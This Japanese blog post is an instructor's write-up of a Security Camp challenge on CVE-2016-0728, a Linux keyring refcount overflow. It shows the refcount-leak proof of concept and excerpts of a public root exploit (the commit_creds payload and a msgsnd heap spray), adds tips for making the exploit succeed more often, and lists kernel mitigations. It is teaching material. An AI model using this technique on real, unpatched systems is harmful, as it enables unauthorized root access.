るくすの日記 ~ Out_Of_Range ~

主にプログラミング関係

参照カウンタオーバーフローを利用したLinuxカーネルエクスプロイト(CVE-2016-0728)

本記事では、Linuxカーネルの鍵保存サービスの脆弱性(CVE-2016-0728)、およびそれを利用した権限昇格エクスプロイトについて解説します。
Linuxカーネルの参照カウンタオーバーフローはCVE-2016-0728とCVE-2014-2851が有名ですが、今回は前者を題材に扱います。
参考:
Exploiting COF Vulnerabilities in the Linux kernel
https://ruxcon.org.au/assets/2016/slides/ruxcon2016-Vitaly.pdf

0. セキュリティキャンプ2017応募課題

セキュリティキャンプというIPAが主催しているイベントがあるのですが、私がそこの応募課題の一つ(A-5)としてこの脆弱性を出題していたので、
Write upを兼ねて、今更ですがCVE-2016-0728について説明しようと思います。

(今年のセキュリティキャンプに応募してくださった方々へ)
結構マニアックで難易度も高めの問題だったと思いますが、予想以上に多くの方に解いていただいて嬉しかったです。
権限昇格まで成功させた人が何人かいるうえに、他のカーネルエクスプロイトの攻撃ノウハウを利用してより質を上げてみたり、
10回実行して殆どroot権限が取れる程まで精度を上げてくれたりした人もいました。


さて、では応募課題として私が想定していた解答を説明します。

1. 応募課題の内容と出題意図

まず応募課題選択問題A-5の問題文から見ていきます。
内容は以下のような物でした。


以下のプログラムはLinuxカーネル3.8〜4.4に存在する脆弱性を悪用しています。このプログラムの実行により発生する不具合を説明してください。また、この脆弱性をさらに悪用することでroot権限昇格を行うエクスプロイトを記述し、自分が試した動作環境や工夫点等を説明してください。加えて、このような攻撃を緩和する対策手法をなるべく多く挙げ、それらを説明してください。 完全には分からなくても構いませんので、理解できたところまでの情報や試行の過程、感じた事等について自分の言葉で記述してください。また参考にしたサイトや文献があれば、それらの情報源を明記してください。

#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>

int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }

    return 0;
}

まずは問題分を簡単に整理してみましょう。要するに、Linuxカーネルのとある脆弱性のPoC(Proof of Concept)があって、

  • この脆弱性は何(CVE-????-????)で、どういう物か説明してください。
  • さらにこの脆弱性は権限昇格に繋がる物なんだけど、実際のエクスプロイトを記述して昇格してみてください。
  • あとこの手の攻撃ってどうやったら防げますか(Mitigation)

という事です。
脆弱性の説明をさせる上にエクスプロイトの記述まで要求するというかなりスパルタな問題に見えますが、実はエクスプロイトコードは調べれば出てきます。
じゃあ探してきて適当に動かして終わりかと思いきや、まあそんな簡単には行かなくて、試行錯誤してもらう必要があります。
具体的な想定解法については後述しますが、まず先にこの問題の作問意図と、どういった点を見たかったかについて書いておきます。

前提知識の有無で差が出てほしくない

今回の選択問題5は、一つの脆弱性を通してOS,カーネルという物の片鱗を理解してもらう事を目標としていました。なので応募段階では前提知識を要求せず、
試行錯誤を経ながら知見を獲得してもらうことで応募者自身も得られる物が多くなるよう心がけました。
恐らく今回扱った脆弱性について、応募段階で既に知っていた人は殆どいなかったと思います。

ちゃんと理解して解いてもらう

カーネルエクスプロイト然り、OS等システム系のジャンルでは、なぜシステムがクラッシュしたのかを細かく調査し、完全に理解しなければ問題が解決しない事が多々あります。
そこで今回はエクスプロイトの主要な仕組みや関連するカーネルの動作をちゃんと把握しなければ解けないような題材を選びました。
詳細は後述しますが、今回動作させるエクスプロイトは一度の実行に15~30分程度かかる物です。
正直ここが結構厳しかったと思いますが、「よく分からないけど、適当に何度か動かしたらいけた」というのを防ぐためにあえて選びました。
必要な知識を事前に取り入れる事で、一度の実行結果で多くの可能性について考察して次につなげて欲しかったからです。

2. 応募課題の評価ポイント

キャンプに応募して頂いた方向けですが、応募課題の評価ポイントを載せておきます。評価ポイントは以下の点を見ました。

  • 脆弱性がどういう物か説明できているか
  • 問題文中のPoCを動かして調査したか
  • 権限昇格エクスプロイトの記述(引用でも構いません)、説明、実行を行ったか
  • 権限昇格に成功もしくは近い所まで挑戦したか
  • 攻撃の対策案と概要を列挙したか

では次に、模範解答を示します。模範解答はWrite up用になるべく詳しく書くようにしていますが、実際の解答では要点を抑えてもらえていれば、大丈夫です。

3. CVE-2016-0728の概略

さて、まずはこの問題文が言っている「Linuxカーネル3.8〜4.4に存在する脆弱性」ですが、これはCVE-2016-0728です。(記事タイトルに答えが書いてありますが)
問題文中のPoCのコードで適当に検索をかけると該当する脆弱性が分かります。ではこのCVEは一体どういう物なのか? さらに調べると以下のようなサイトが見つかります。

ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

これはCVE-2016-0728を実際に発見して報告した、Perception Pointという研究所の脆弱性レポートです。ここに脆弱性の詳細が全て書いてあります。順番に見ていきましょう。

CVE-2016-0728というのはLinuxカーネルkeyctlシステムコールに存在するバグを悪用した物です。
keyctlというのはLinuxカーネルの持っている鍵管理APIで、各プロセス(例えば認証系のサービスなど)はkeyctlシステムコールをつかってLinuxに鍵を追加、更新、削除等する事ができます。

今回の脆弱性の肝となるのは、カーネル内でキーリングを管理するのに使用されるkey構造体の持つusageという参照カウンタです。
このusageカウンタは複数のプロセスでキーリングを共有する際、いくつのプロセスから参照されているかを表すカウンタになっており、0になってどのプロセスにも使われなくなればそのキーリングは自動で削除されるようになっています。
さてこの参照カウンタは、プロセスがキーリングを新規に作成する際に1増やし、カーネルへのキーリング追加が完了すれば1減らして元に戻すのですが、この1減らす操作がある条件下で行われず
参照カウンタが減らないというバグが今回のCVE-2016-0728の本質です。
キーリング新規作成はkeyctl(KEYCTL_JOIN_SESSION_KEYRING, name)呼び出しでプロセスから行う事ができます。
この呼び出しによって実行されるLinuxカーネル内のjoin_session_keyring関数のソースコードを以下に載せます。

long join_session_keyring(const char *name)
{
 ...
       new = prepare_creds();
 ...
       keyring = find_keyring_by_name(name, false); //find_keyring_by_nameがusageを1増やす [*1]
       if (PTR_ERR(keyring) == -ENOKEY) {
               /* not found - try and create a new one */
               keyring = keyring_alloc(
                       name, old->uid, old->gid, old,
                       KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
                       KEY_ALLOC_IN_QUOTA, NULL);
               if (IS_ERR(keyring)) {
                       ret = PTR_ERR(keyring);
                       goto error2;
               }
       } else if (IS_ERR(keyring)) {
               ret = PTR_ERR(keyring);
               goto error2;
       } else if (keyring == new->session_keyring) {
               ret = 0;
               goto error2; //<-- ここがバグ usageを減らさずにerror2に飛んでしまっている [*2]
       }

       /* we've got a keyring - now install it */
       ret = install_session_keyring_to_cred(new, keyring);
       if (ret < 0)
               goto error2;

       commit_creds(new);
       mutex_unlock(&key_session_mutex);

       ret = keyring->serial;
       key_put(keyring);
okay:
       return ret;

error2:
       mutex_unlock(&key_session_mutex);
error:
       abort_creds(new);
       return ret;
}

join_session_keyringは与えられたnameという名前のキーリングを作成する関数です。ただし、既に同じ名前のキーリングが存在した場合、find_keyring_by_nameで該当のキーリングを検索して代替します。 [1]
find_keyring_by_name関数内では、該当のキーリングが見つかるとそれを使い回すために、usageカウンタを1増やします。これで既存の同じ名前のキーリングを参照カウンタを1増やして再利用するわけです。

ここまでは至って普通のロジックですが、問題はこの1増やされたカウンタを減らし忘れるフローが存在する事です。このフローは同じ名前(name)のキーリングを再度作成しようとした際に発生します。
それが[2]の部分で、goto error2でerror2に飛ぶと、key_put(keyring)が実行されずusageカウンタが1減らないまま関数が終了してしまうのです

条件式には"else if (keyring == new->session_keyring)"とありますが、これは検索して取得したキーリングが現在のプロセスが指しているキーリングと同じ場合という意味です。
つまり、再度join_session_keyringを呼び出したけど、すでに同じ名前のキーリングが存在しており、しかも現在のプロセスがそれをポイントしている、つまり全く無意味なキーリング作成操作だったというわけです。

しかしこの無意味なキーリング作成操作を複数回実行すると、何度も[2]のフローを通って、キーリングの参照カウンタがその度に1増え続ける事になってしまいます。

では応募課題の問題文中にあるCVE-2016-0728のPoCを見てみましょう。

#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>

int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }

    return 0;
}

これはつまり、最初にkeyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring")によって"lekaed-keyring"という名前のキーリングを作成し、その後100回再度keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring")
によって、同じ名前のキーリングを作成しようとしているわけです。これによって先ほどの[2]のフローを100回通って参照カウンタが100まで増えたままになってしまうわけです。
実際に確認してみましょう。プロセスによって作成されたキーリングは/proc/keysから見ることができます。

$ cat /proc/keys
3840ddc9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

leaked-keyringという参照カウンタが100のキーリングが残っている事がわかります。とりあえずここまでできれば脆弱性をちゃんとつけてる事が分かります。

4. PoCの動作環境

さて、脆弱性のメカニズムと確認方法は上に書いたとおりです。ちなみにPoCを検証する際、脆弱性が存在するLinuxカーネル3.8〜4.4のいずれかを
用いてもうまく行かない事があります。これはDebianubuntuなどのディストリ経由でカーネルをビルドした場合です。
この手のディストリが配布しているLinuxカーネルソースコードパッケージには、セキュリティパッチがあたっており、
仮に3.8〜4.4の間のLinuxカーネルでもLTSな物なら先程の脆弱性は修正されているのです。
よって脆弱性を試すには、サポート外のディストリを使用するか、Linusのコードツリーから取ってきたいわゆるバニラカーネル
使用する必要があるのです。そうでないとそもそもPoCが動きません。

5. 権限昇格エクスプロイト

さて、では参照カウンタが増え続ける問題をさらに悪用して権限昇格まで行うエクスプロイトを実践してみましょう。
応募課題の問題文中にはエクスプロイトを記述せよ、と書いていますが先ほどのPerception Pointのサイトにエクスプロイトコードが全てあるのでそれをそのまま再利用してもらえれば大丈夫です。


PerceptionPointTeam/cve_2016_0728.c
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f


さて、では上のURL先のエクスプロイトが何をやっているか順に説明します。
まず先ほど、keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)によって参照カウンタを好きなだけ増やせるという事が分かりました。この参照カウンタusageはatomic_tという32bitの符号付き整数になっています。
つまり参照カウンタを0x100000000まで増やせば32bitで表せる値の限界を超えて値が0に戻ります。参照カウンタが0になれば、上でも述べたようにどのプロセスからも参照されてないと思い込み、
Linuxカーネルによってキーリングがメモリから解法されてしまいます。一見これだけだと、ただkey構造体が間違ってfreeされるだけのように思えますが、問題はこのfreeのされかたが正規の手順では無いという事です。

本来キーリングの参照カウンタが0になるというのは、各プロセスが正規のkeyctlシステムコールで破棄したり、プロセスが終了する事で参照カウンタが減り0になって消えるのですが、
今回はそのいずれでも無い方法でキーリングが勝手に破棄されてしまいました。するとプロセスは気づかない内にfreeされたキーリングの領域を指し続けているというわけです。

これは一般にUse After Freeと呼ばれるバグで、攻撃に利用されるケースが多いバグの一つです。freeされた領域というのは、次のメモリアロケーション命令時に再利用されて上書きされます。
よって次のアロケーションで、freeされた領域と同じサイズの好きなデータ構造を確保すれば、プロセスがキーリングだと思って指している先を好きなデータ構造にすげ替える事が出来るわけです。

ではどんなデータ構造にすげ替えるかですが、実はキーリングの構造体keyはkey_typeという構造体をポイントしており、
このkey_typeはキー操作に関する様々な関数ポインタを持っています。上記のエクスプロイトではその中でもrevokeという操作を担当する
revoke関数ポインタに注目します。このrevoke関数ポインタはkeyctl(KEY_REVOKE, name)呼び出しによって実行されるようになっています。

void key_revoke(struct key *key)
{
       . . .
       if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
           key->type->revoke)
               key->type->revoke(key); // key_typeのrevoke関数ポインタを通して実行
       . . .
}


よってこのrevokeポインタを好きなアドレスに書き換えたデータ構造を用意してfreeした領域にアロケーションさせ、
keyctl(KEY_REVOKE, name)を実行すれば、書き換えた好きなアドレスを実行させる事が出来るわけです。
このアドレスはエクスプロイトコード中に記述した、

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

userspace_revokeという関数のアドレスにします。このuserspace_revokeは
commit_creds(prepare_kernel_cred(0))によって自身のプロセスの権限をrootに昇格する物です。
これが権限昇格エクスプロイトの概要です。


後は、freeした領域に新しいデータ構造を上書きさせる方法ですが、これはエクスプロイトコード中の以下が
該当します。

for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }

ここではLinuxのプロセス間通信であるIPCのメッセージキューを利用しています。
http://archive.linux.or.jp/JF/JFdocs/The-Linux-Kernel-6.html
IPCメッセージキューにメッセージを送信するmsgsndはload_msg関数を呼び出し、その中でalloc_msgを使うことでメッセージを確保します。このalloc_msgの
中身はkamllocというカーネルにヒープ確保にあたります。こいつを何度も読んでkmallocで大量のデータをヒープに生成し、先ほど解放された領域に上書きしてるわけです。

いわゆるHeap Sprayです。
(Heap Sprayはfreeされた領域とかでなく、通常のmalloc確保で領域を埋める物なので、ちょっと表現が違いました。)

これを仮にChunk Sprayと名づけておきます。

エクスプロイトの動作をまとめると

  • keyのusageがオーバーフローして0になるまで、keyctlを繰り返し呼ぶ。
  • keyのusageが0になると、解放される。ただしプロセスは未だに解放されたkeyを指し続けている
  • msgsndを利用する事で、攻撃者が生成したメッセージをヒープ上に大量に確保。
  • 解放されたkeyの領域に、メッセージが上書きされる。その状態でrevokeを呼ぶと、上書きされたメッセージ内のアドレスを呼ぶ
  • revoke_userspaceが呼ばれ、commit_credによってroot権限が自プロセスに付与される
  • シェル起動

6. 対策技術

さて、上記のようなエクスプロイトを防ぐにはどのような対策があるでしょうか。
まずはカーネルエクスプロイト全般的な対策として以下が挙げれるでしょう。

  • Intel SMEP (Supervisor Mode Execution Prevention)
  • Intel SMAP (Supervisor Mode Access Prevention)
  • KASLR (Kernel Address Space Layout Randomization)
  • KADR (Kernel Address Display Restriction)

だいたい全部ここに書いてあります。
AGL Developer Site - Harden Configurations -

他にも最近だと参照カウンタオーバーフローを防ぐための機構だったり、SLABのfreelistをランダム化する物もあります。

  • Refcount Protection

security things in Linux v4.11 « codeblog

  • SLAB_FREELIST_RANDOM

Randomizing the Linux kernel heap freelists – Thomas Garnier – Medium

応募課題ではこれら全て上げる必要はありませんが、2,3個は欲しいです。

7. エクスプロイトの動作調査

さて、エクスプロイトのメカニズムは説明したので実際にSMAP,SMEP,KADR,KASLRを無効にして動かしてみてください。恐らく十中八九失敗してroot権限が付与されないまま、シェルが起動するはずです。
ちなみにSMAP,SMEPについては、以下参照。
inaz2.hatenablog.com



なんでや、公式が出してるエクスプロイトやぞ!! という気持ちになりますが、この手のヒープを利用したカーネルエクスプロイトは百発百中で成功する事は殆どありません
手元で何度も動かしてデバッグしてみて、成功確率を上げていくという作業を行う必要があります。

本節では、この手のエクスプロイトの動作を調査し、なぜうまくいかないかを調べていきます。

さて、まずはちゃんとkeyが解放されていてUse After Freeが発生しているのかを調べてみましょう。

KASan(Kernel Address Sanitizer)によるUAF検知

今回はGoogleの技術者が開発した、KASan(Kernel Address Sanitizer)というメモリリーク検出機構を利用します。少し前にLinuxカーネルにマージされました。

(そういえば、KASanの話はLinuxCon Japan 2016でプレゼンが行われてて私もそこで聞いてたのですが、自分の未踏のプロジェクト(カーネルメモリリーク検出ツール)と若干被ってて冷や汗かいた思い出が...)

さて、ではKASanでkey構造体のUse After Freeを検出してみましょう。
使い方は以下を参照してください。

qiita.com

$ gcc -fsanitize=address cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall

ではdmesgを見てみましょう。

[  188.073229] ==================================================================
[  188.073449] BUG: KASAN: use-after-free in wait_for_key_construction+0x30/0xb0 at addr ffff8800cba5f678
[  188.073553] Read of size 8 by task exploit/1846
[  188.073657] =============================================================================
[  188.073928] BUG key_jar (Tainted: G    B      OE  ): kasan: bad access detected
[  188.074043] -----------------------------------------------------------------------------
[  188.074043]
[  188.074163] INFO: Allocated in key_alloc+0x174/0x5c0 age=2501 cpu=4 pid=1846                     [1]
[  188.074288]  ___slab_alloc+0x451/0x470
[  188.074397]  __slab_alloc+0x20/0x40
[  188.074523]  kmem_cache_alloc+0x1b1/0x1f0
[  188.074636]  key_alloc+0x174/0x5c0
[  188.074755]  keyring_alloc+0x2b/0x70
[  188.074864]  join_session_keyring+0x16c/0x1c0
[  188.074997]  keyctl_join_session_keyring+0x45/0x60
[  188.075103]  SyS_keyctl+0xf3/0x110
[  188.075229]  entry_SYSCALL_64_fastpath+0x16/0x71
[  188.075323] INFO: Freed in key_gc_unused_keys.constprop.2+0xa3/0x1f0 age=2495 cpu=4 pid=77       [2]
[  188.075429]  __slab_free+0x195/0x2c0
[  188.075532]  kmem_cache_free+0x1e6/0x200
[  188.075618]  key_gc_unused_keys.constprop.2+0xa3/0x1f0
[  188.075704]  key_garbage_collector+0x212/0x430
[  188.075793]  process_one_work+0x2a9/0x7d0
[  188.075910]  worker_thread+0x89/0x7f0
[  188.076011]  kthread+0x190/0x1b0
[  188.076143]  ret_from_fork+0x3f/0x70
[  188.076250] INFO: Slab 0xffffea00032e9780 objects=16 used=9 fp=0xffff8800cba5f600 flags=0xffffc000004080
[  188.076370] INFO: Object 0xffff8800cba5f600 @offset=5632 fp=0xffff8800cba5ea00
[  188.076370]
[  188.076481] Bytes b4 ffff8800cba5f5f0: 00 00 00 00 00 00 00 00 5a 5a 5a 5a 5a 5a 5a 5a  ........ZZZZZZZZ
[  188.076594] Object ffff8800cba5f600: 6c 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  lkkkkkkkkkkkkkkk
[  188.076698] Object ffff8800cba5f610: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.076883] Object ffff8800cba5f620: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077006] Object ffff8800cba5f630: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077109] Object ffff8800cba5f640: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077223] Object ffff8800cba5f650: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077328] Object ffff8800cba5f660: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077447] Object ffff8800cba5f670: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077598] Object ffff8800cba5f680: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077770] Object ffff8800cba5f690: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077895] Object ffff8800cba5f6a0: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk
[  188.077997] Object ffff8800cba5f6b0: 6b 6b 6b 6b 6b 6b 6b a5                          kkkkkkk.
[  188.078089] Redzone ffff8800cba5f6b8: bb bb bb bb bb bb bb bb                          ........
[  188.078190] Padding ffff8800cba5f7f8: 5a 5a 5a 5a 5a 5a 5a 5a                          ZZZZZZZZ
[  188.078471] Memory state around the buggy address:
[  188.078559]  ffff8800cba5f500: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  188.078659]  ffff8800cba5f580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  188.078743] >ffff8800cba5f600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  188.078828]                                                                 ^
[  188.078916]  ffff8800cba5f680: fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc
[  188.079002]  ffff8800cba5f700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  188.079081] ==================================================================
[  188.079290] ==================================================================
...
[  188.090488] IP: [<ffffffff81cf0421>] down_write+0x21/0x50
[  188.090848] PGD cfdc2067 PUD 0
[  188.091291] Oops: 0002 [#1] SMP KASAN

key_allocで確保されて[1]key_gc_unused_keysで解放された[2]key構造体に、不正なアクセスが発生していると言われています。

ちなみに該当領域の0x6bというのはCONFIG_SLAB_DEBUG(KASanを有効にするとこちらも有効になります)による物で、カーネルによってfreeされた領域に自動的に
0x6bが書き込まれるような仕組みになっています。これでどの範囲がfreeされた領域なのかというのが一目瞭然で分かります。
同じ領域に対してKASANが0xfbや0xfcと表示しているのはシャドーページなのですが、これ以上は深入りしません。

ここで注目してほしいのは、Use After Freeが発生した段階でkey構造体の領域が0x6b埋めされてる事です。
つまり、msgsndによってうまく上書きされてない状態で、該当領域にアクセスが発生してしまっているのです。

これがエクスプロイト失敗の原因です。要するにChunk Sprayがターゲットの領域まで行われてないわけですね。

一体なぜでしょうか。かなりの量のmsgsndを発行しており、Chunk Sprayは充分できている気がしますが...

セキュリティキャンプ2017受講者の方へ

さて理由を説明しますが、ここから先の章の内容は応募課題では触れる必要はありません。なぜ自分のエクスプロイトが失敗したか気になった人だけ読んでください。
私の講義、「D2,3 カーネルエクスプロイトによるシステム権限奪取」を受講されたい方は読まれることを推奨します。ただし後日「カーネルエクスプロイト入門」という記事を
本ブログに書いていきますので、いきなり完全に理解する必要はありません。

7. カーネルのメモリ管理システム

さて、Chunk Sprayがうまく行かない理由ですが、これはLinuxカーネルの採用しているSLABアロケーターという動的メモリ管理の機構が関係しています。
そもそもLinuxカーネルのメモリ管理システムは主に2つあり、一つは一番下のレイヤーにあるBuddy Systemとよばれるページ単位のメモリアロケーターで、もうひとつはその上にある、ページより小さなサイズのアロケーターであるSLABアロケーターです。(Fig.1)

簡単に説明するとSLABアロケーターは、カーネルの中でも頻繁に取得、解放が繰り返されるデータ構造のためにキャッシュを用いて高速化する物です。
例えばLinuxカーネル内でプロセスを表すtask_struct構造体などは、愚直にやればプロセス生成、破棄の度にBuddy Systemを使って確保、解放を繰り返す必要があります。
ただしBuddy Systemはページ(4096byte)単位でしか確保できないのでtask_struct一つのために1ページ割り当てるのはあまりにも非効率です。
また毎回Buddy Systemに確保、解放を依頼するのは無駄が多いです。


(Fig.1)
f:id:RKX1209:20170619214154p:plain
Special Features of Linux Memory Management Mechanism - CodeProject

そこでこの手の構造体のためにSLABアロケーターがBuddy Systemの上に乗ります。直接Buddyを使わずSLABアロケータを利用することでより効率的なメモリ管理をしているわけです。
SLABアロケーターは、カーネル内の構造体ごとにSLABキャッシュという物を持っています。例えばtask_struct専用のSLABキャッシュというのがあって、一度task_structを確保(kmem_cache_alloc)してから解放(kmem_cache_free)してもすぐには捨てず、しばらくキャッシュに置いておく事で次回の確保を高速化する仕組みです。このキャッシュが満杯になるとBuddy Systemに依頼して新しく領域をもらってきます。

また、Slabはページ単位ではなくオブジェクト単位でメモリを管理します。このオブジェクトは担当する構造体のサイズ(をアライメントした物)になっており、Buddy Systemからもらってきたページ単位の中に複数のオブジェクトを置いてまとめるわけです。

ちなみにkmallocのようなサイズが決まっていない領域の確保は、専用のkmalloc-(size)という名前のSLABキャッシュが用意されています。

各SLABキャッシュは/proc/slabinfoから見ることが出来ます。

$ sudo head /proc/slabinfo
slabinfo - version: 2.1
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
kvm_async_pf           0      0    136   30    1 : tunables    0    0    0 : slabdata      0      0      0
kvm_vcpu               0      0  16384    2    8 : tunables    0    0    0 : slabdata      0      0      0
kvm_mmu_page_header      0      0    168   24    1 : tunables    0    0    0 : slabdata      0      0      0
ext4_groupinfo_4k    860    868    144   28    1 : tunables    0    0    0 : slabdata     31     31      0
ip6-frags              0      0    216   37    2 : tunables    0    0    0 : slabdata      0      0      0
RAWv6                120    120   1088   30    8 : tunables    0    0    0 : slabdata      4      4      0
UDPLITEv6              0      0   1088   30    8 : tunables    0    0    0 : slabdata      0      0      0
UDPv6                120    120   1088   30    8 : tunables    0    0    0 : slabdata      4      4      0

さて、今回のエクスプロイトで解放されたkey構造体は専用のSLABキャッシュを用いて確保、解放されています。
KASanのログをもう一度見てみると、

[  188.073928] BUG key_jar (Tainted: G    B      OE  ): kasan: bad access detected

という部分があります。このkey_jarというのがkey構造体専用のSLABキャッシュで、この中でUse After Freeが発生している、という
意味なわけです。

今回のエクスプロイトが面倒なのは、解放されたkey構造体はkey_jarという専用のSLABキャッシュで管理されている点です。

一方で、Chunk Sprayを行うためにmsgsndを大量に使用していますが、このmsgsndは内部でkmallocを使っています。
kmallocはkmalloc-(size)という別のSLABキャッシュで管理されており、key_jarとは違うキャッシュの話です。

これは非常に厄介です。

なぜならそもそもSLABキャッシュというのは、解放された領域をなるべくキャッシュにためてBuddyには返さない仕様です。
そうすると、いくらkey構造体を見かけ上解放しても、暫くはkey_jarのキャッシュ内にとどまってしまい、kmalloc側のSLABキャッシュから上書きできないのです。

よって、key構造体を解放すると同時に、他のダミィのkey構造体を大量に生成、破棄する事で、key_jarキャッシュをさっさとBuddy System側に返して、
kmalloc側のSLABキャッシュから確保できるようにしないと、Chunk Sprayが出来ないわけです。


勿論、偶然msgsndによるChunk Sprayの最中にうまくkey_jarキャッシュがBuddyに返って来て、kmallocから拾える可能性はあるので、何度かエクスプロイトを動かせば
成功する事もありますが、効率よくやるには事前に大量の鍵生成、破棄を行うプログラムを走らせておくとより精度が上がります。
これで、50%以上の確率で成功するようになります。

ちなみに似たような手法が、Google Project Zeroの記事に載っています。参考までに
googleprojectzero.blogspot.jp


ではカーネル(4.0.0)に以下のようなパッチを当てて、ちゃんと攻撃が成功しているか確認してみると、

gist.github.com


dmesgに以下のように出ていればOKです。

[   25.558919] key_jar: Free ffff880079736000 to buddy system
[   25.571369] key_jar: Free ffff880079737000 to buddy system
[   25.571372] key_jar: Free ffff8800797d4000 to buddy system
[   25.571373] key_jar: Free ffff8800797d5000 to buddy system
[   76.484826] exploit ffff8800797e3480 sizeof(struct key) 184
[   76.507425] key_jar: GC key ffff8800797e3480
[   81.485893] msgsnd: msg=ffff8800797e3480 [!!UAF!!] 
[   81.485896] msgsnd: msg=ffff8800797e3240 
[   81.485899] msgsnd: msg=ffff8800797e3c00 

8. おわりに

結構長くなってしまいましたが、流石にこれら全てを応募課題で求めているのでは無いのでご安心を。
もしこれら全てを求めたらおそらくセキュキャンの応募用紙史上、最高難易度になってしまいますしそこまでやる意味はないです。

さて、結構駆け足のWrite upになりましたが、多分これだけ見ても何のこっちゃと思う部分が結構あると思います。
次回から、「カーネルエクスプロイト入門」という形で入門記事を書いていきますので、私の講義の事前課題としておいおい出していこうかと
思います。
そこからゆっくり理解して頂ければ大丈夫です。

(2017-6-20追記)

すみません。上記のkey_jarとkmalloc-(size)のSLABキャッシュが異なる、というのはLinuxのビルド時に以下を選択した場合です。
General Setup ---> Choose SLAB allocator ---> [*] SLAB

実はLinuxカーネルのSLABアロケーターの実装は2つ、SLABとSLUBというのがあって、デフォルトでは後者になっています。
SLUBでは、SLUB Mergeという機能によりサイズやフラグが同じSLABキャッシュは一つにまとめて同じ物を使うという機能があります
これは/sys/kernel/slabを確認すると分かります。

$ ls -l /sys/kernel/slab/key_jar /sys/kernel/slab/kmalloc-192
lrwxrwxrwx 1 root root 0  620 05:02 /sys/kernel/slab/key_jar -> :t-0000192
lrwxrwxrwx 1 root root 0  620 05:02 /sys/kernel/slab/kmalloc-192 -> :t-0000192

どちらも同じt-0000192という物をリンクしていますが、これがまとめられたSLABキャッシュの名前です。

( @satoru_takeuchiさん、@kosaki55teaさんに教えていただきました。 有難うございます )

つまり、SLUBアロケーターを利用しているとkey_jarもkmallocも同じSLABキャッシュになっているため、上で書いていたBuddy Systemに
なるべく返却するようにする理屈は関係ありません。
(私の環境では無意識に"SLAB"の方を選択していたので、上のやり方でうまく行っていたようです....)

よってSLUBアロケーターの場合はkey構造体を解放した後、なるべく早くmsgsndでメッセージを確保するのが先決です。
同じSLABキャッシュ内の話の場合、直前に解放されたオブジェクトが次になるべく使われるようなLIFOな仕組みになっているからです。
(ちなみにエクスプロイトを行う段階になったらKASanは切っておいてください。KASanにはQuarantineというなるべく直前のオブジェクトを使わないようにする緩和機構があります。)

